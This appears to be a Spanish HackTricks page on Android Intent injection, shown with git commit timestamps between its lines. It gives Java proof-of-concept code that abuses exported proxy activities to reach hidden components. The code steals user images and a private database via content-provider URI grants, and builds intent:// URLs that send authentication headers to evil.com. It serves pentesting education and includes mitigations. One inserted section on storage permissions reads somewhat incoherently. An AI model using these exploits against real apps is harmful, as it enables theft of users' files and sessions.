hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

260 lines
17 KiB
Markdown
Raw Normal View History

2023-06-03 01:46:23 +00:00
# Introducción
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
Esta vulnerabilidad se asemeja a la **Redirección Abierta en seguridad web**. Dado que la clase `Intent` es `Parcelable`, **los objetos que pertenecen a esta clase** pueden ser **pasados** como **datos extra** en otro objeto `Intent`. \
Muchos desarrolladores hacen **uso** de esta **característica** y crean **componentes proxy** (actividades, receptores de difusión y servicios) que **toman un Intent incrustado y lo pasan a métodos peligrosos** como `startActivity(...)`, `sendBroadcast(...)`, etc. \
Esto es peligroso porque **un atacante puede forzar a la aplicación a lanzar un componente no exportado que no puede ser lanzado directamente desde otra aplicación**, o para otorgar al atacante acceso a sus proveedores de contenido. **`WebView`** también a veces cambia una **URL de una cadena a un objeto `Intent`**, usando el método `Intent.parseUri(...)` y lo pasa a `startActivity(...)`.
2021-07-19 19:50:23 +00:00
{% hint style="info" %}
2023-06-03 01:46:23 +00:00
En resumen: si un atacante puede enviar un Intent que se está ejecutando de manera insegura, potencialmente puede acceder a componentes no exportados y abusar de ellos.
2021-07-19 19:50:23 +00:00
{% endhint %}
2023-06-03 01:46:23 +00:00
# Un caso típico
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Examinemos un ejemplo. Fragmento del archivo `AndroidManifest.xml`
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
```
2023-06-03 01:46:23 +00:00
Actividad `ProxyActivity`
2021-07-19 19:50:23 +00:00
```java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
```
2023-06-03 01:46:23 +00:00
Actividad `AuthWebViewActivity`
2021-07-19 19:50:23 +00:00
```java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```
2023-06-03 01:46:23 +00:00
`AuthWebViewActivity` es un ejemplo de **funcionalidad oculta de la aplicación que realiza ciertas acciones inseguras**, en este caso pasando la sesión de autenticación del usuario a una URL obtenida del parámetro `url`.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Las restricciones de exportación significan que **el atacante no puede acceder directamente a `AuthWebViewActivity`**. Una llamada directa...
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
```
2023-06-03 01:46:23 +00:00
lanza una `java.lang.SecurityException`, debido a la `Negación de Permiso`: `AuthWebViewActivity no exportado desde el uid 1337`.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Pero el atacante puede **forzar al usuario a lanzar `AuthWebViewActivity` por sí mismo**:
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
2023-06-03 01:46:23 +00:00
y no surgirá ninguna violación de seguridad, porque **la aplicación que está siendo atacada tiene acceso a todos sus propios componentes**. Usando este fragmento de código, el atacante puede evitar las restricciones incorporadas del sistema Android.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
# Escalación del impacto
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Para aumentar el impacto de esta vulnerabilidad, es necesario **encontrar otras vulnerabilidades/configuraciones incorrectas que permitan aumentar el impacto de la vulnerabilidad** (ya que la vulnerabilidad por sí sola no crea ningún riesgo).
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
## Escalación de ataques a través de proveedores de contenido
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Además del acceso a componentes arbitrarios de la aplicación original, el **atacante puede intentar obtener acceso a aquellos Proveedores de Contenido de la aplicación vulnerable** que satisfagan las siguientes condiciones:
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
* debe estar **no exportado** (de lo contrario, **podría ser atacado directamente**, sin usar la vulnerabilidad que estamos discutiendo en este artículo)
* debe tener el indicador **`android:grantUriPermissions`** establecido en **`true`**.
* `android:grantUriPermissions="true"` indica que su código Java puede usar `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION` para **cualquier `Uri` servido por ese `ContentProvider`**.
* `android:grantUriPermissions="false"` indica que **solo los valores `Uri` especificados por los elementos secundarios `<grant-uri-permission>`** pueden ser utilizados con `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION`.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
El atacante debe establecerse como el destinatario de un intento incrustado y establecer las siguientes indicaciones:
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permite el acceso persistente al proveedor (sin esta indicación, el acceso es solo una vez)
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permite el acceso URI por prefijo - por ejemplo, en lugar de obtener acceso separado repetidamente utilizando una ruta completa como `content://com.victim.provider/image/1`, el atacante puede otorgar acceso a todo el contenido del proveedor utilizando el URI `content://com.victim.provider/` y luego usar `ContentResolver` para abordar `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permite operaciones de lectura en el proveedor (como `query`, `openFile`, `openAssetFile`)
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permite operaciones de escritura
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Un ejemplo de un proveedor típico donde un atacante puede obtener acceso y realizar operaciones regulares como `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`.
2021-07-19 19:50:23 +00:00
```markup
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
```
2023-06-03 01:46:23 +00:00
# Ejemplo de robo de imágenes de usuario en el archivo `AndroidManifest.xml`
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Un atacante puede robar imágenes de usuario si la aplicación tiene permisos para acceder a la galería de imágenes del dispositivo. Para verificar si la aplicación tiene este permiso, podemos buscar en el archivo `AndroidManifest.xml` de la aplicación.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
```xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
2021-07-19 19:50:23 +00:00
```
2023-06-03 01:46:23 +00:00
Si encontramos esta línea en el archivo `AndroidManifest.xml`, significa que la aplicación tiene permiso para leer imágenes de la galería del dispositivo. El atacante puede aprovechar este permiso para robar imágenes de usuario sin su conocimiento.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Para evitar este tipo de ataque, los desarrolladores deben asegurarse de que su aplicación solo solicite los permisos necesarios y que los usuarios estén informados sobre los permisos que se solicitan.
```markup
<activity android:name=".LeakActivity" android:exported="true" />
```
Archivo `MainActivity.java`
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
```
2023-06-03 01:46:23 +00:00
## Ataques al proveedor de archivos de Android
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Esta vulnerabilidad también hace posible que el atacante **robe archivos de aplicaciones** ubicados en directorios que el desarrollador predeterminó. Para un ataque exitoso, la aplicación maliciosa necesita **obtener derechos de acceso al proveedor de archivos de Android y luego leer el contenido del proveedor de archivos usando Android ContentResolver**.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Proveedor de archivos de ejemplo (para más detalles, consulte [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
2021-07-19 19:50:23 +00:00
```markup
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
```
2023-06-03 01:46:23 +00:00
Proporciona acceso de lectura/escritura a archivos en una lista especial que se puede encontrar en los recursos de la aplicación, en este caso en `res/xml/provider_paths.xml`.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Puede parecer algo así:
2021-07-19 19:50:23 +00:00
```markup
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
```
2023-06-03 01:46:23 +00:00
Cada etiqueta especifica un directorio raíz con un valor `path` relativo al mismo. Por ejemplo, el valor `external_files` corresponderá a `new File(Environment.getExternalStorageDirectory(), "images")`.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
El valor `root-path` corresponde a `/`, es decir, proporciona acceso a archivos arbitrarios.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Supongamos que tenemos algunos datos secretos almacenados en el archivo `/data/data/com.victim/databases/secret.db`: el robo de este archivo puede parecer algo así como esto en `MainActivity.java`.
2021-07-19 19:50:23 +00:00
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
```
2023-06-03 01:46:23 +00:00
## Acceso a componentes arbitrarios a través de WebView
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Un objeto Intent puede ser convertido a una cadena con una llamada a `Intent.toUri(flags)` y de vuelta de una cadena a un Intent usando `Intent.parseUri(stringUri, flags)`. Esta funcionalidad es a menudo utilizada en WebView (el navegador integrado de la aplicación): la **aplicación puede verificar un esquema `intent://`, analizar la URL en un Intent y lanzar la actividad**.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
**Esta vulnerabilidad puede ser explotada tanto a través de otras vulnerabilidades** (por ejemplo, la capacidad de abrir enlaces arbitrarios en la aplicación en WebView directamente a través de actividades exportadas o mediante el mecanismo deeplink) en la aplicación cliente y también de forma remota, incluyendo scripting entre sitios en el lado del servidor o MitM en el lado del cliente.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Ejemplo de código vulnerable
2021-07-19 19:50:23 +00:00
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
2023-06-03 01:46:23 +00:00
El punto aquí es que el método `shouldOverrideUrlLoading(...)` de la clase `WebViewClient` es llamado cada vez que WebView intenta cargar un nuevo enlace, pero da la opción a la aplicación de agregar un manejador personalizado.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Para explotar esta vulnerabilidad, el atacante necesita crear una redirección de WebView a una URL de esquema de intentos especialmente preparada. Ejemplo de creación de URL:
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
```
2023-06-03 01:46:23 +00:00
Ataque de ejemplo
2021-07-19 19:50:23 +00:00
```java
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
```
2023-06-03 01:46:23 +00:00
Esta versión contiene **varias restricciones en comparación con la versión clásica** de la vulnerabilidad:
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
* Los objetos `Parcelable` y `Serializable` incrustados no se pueden convertir a cadena (se ignorarán)
* Las banderas inseguras `Intent.FLAG_GRANT_READ_URI_PERMISSION` e `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` son **ignoradas** cuando se llama a `Intent.parseUri(...)`. El analizador solo las dejará si se establece la bandera `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`), lo cual es muy raro.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Muchos desarrolladores todavía olvidan realizar un filtrado completo de los intents recibidos a través de WebView.
2021-07-19 19:50:23 +00:00
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
2023-06-03 01:46:23 +00:00
El atacante puede especificar un componente no exportado a través de un selector.
2021-07-19 19:50:23 +00:00
```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
```
2023-06-03 01:46:23 +00:00
Y evitar la protección de la aplicación contra intents explícitos. Por lo tanto, recomendamos filtrar también el selector.
2021-07-19 19:50:23 +00:00
```java
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
```
2023-06-03 01:46:23 +00:00
Pero incluso un filtrado completo no garantiza una protección completa, ya que un atacante puede crear un intento implícito correspondiente al `intent-filter` de alguna actividad no exportada. Ejemplo de declaración de actividad:
2021-07-19 19:50:23 +00:00
```markup
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
```
```java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
```
2023-06-03 01:46:23 +00:00
Por lo tanto, recomendamos verificar que una actividad esté exportada antes de que se lance.
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
## Otras formas de crear intents inseguros
2021-07-19 19:50:23 +00:00
2023-06-03 01:46:23 +00:00
Algunos desarrolladores de aplicaciones implementan sus propios analizadores de intents (a menudo para manejar deeplinks o mensajes push), utilizando objetos JSON, cadenas o matrices de bytes, que no difieren del valor predeterminado o presentan un gran peligro, porque pueden expandir objetos `Serializable` y `Parcelable` y también permiten establecer banderas inseguras. El investigador de seguridad también puede encontrar versiones más exóticas de creación de intents, como la conversión de una matriz de bytes a un `Parcel` y luego leer un intent desde él.
2021-07-19 19:50:23 +00:00
```java
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
```
2023-06-03 01:46:23 +00:00
# Aplicación vulnerable
2021-07-19 19:50:23 +00:00
{% embed url="https://github.com/oversecured/ovaa" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>